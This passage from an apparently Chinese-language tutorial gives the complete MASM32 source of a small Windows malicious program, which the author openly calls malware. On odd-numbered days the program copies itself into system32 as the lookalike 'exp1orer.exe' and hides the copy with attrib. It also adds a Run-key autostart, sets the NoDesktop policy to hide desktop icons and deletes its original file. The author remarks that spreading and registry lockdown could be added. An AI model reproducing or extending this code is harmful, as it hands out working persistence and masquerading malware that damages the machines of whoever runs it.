调用了子程序_WriteKey来完成:
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。如果要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin db ''C:\windows\system32\exp1orer.exe'',0
szCmdAttrib db ''attrib +R +H C:\windows\system32\exp1orer.exe'',0
szDirectory db 0
szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0
szRegValue db ''StartPE'',0
szStr1 db "C:\WINDOWS\System32\exp1orer.exe"
szWriteKey db ''Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',0
szWriteValue db ''NoDesktop'',0 ;键值名称
szDword dd 1 ;数据
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion OSVERSIONINFO <?>
stStartUp STARTUPINFO <?>
stProcInfo PROCESS_INFORMATION <?>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_createKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,0
mov hInstance,eax
invoke _createKey,NULL ;设置为启动
invoke GetSystemTime,offset lpSystemTime
movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||
(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)
||(ebx == 29)
invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
invoke CopyFile,addr szDirectory,addr szWin,FALSE
call _AttribCmd
invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
invoke deleteFile,addr szDirectory
invoke ExitProcess,NULL
.endif
end start |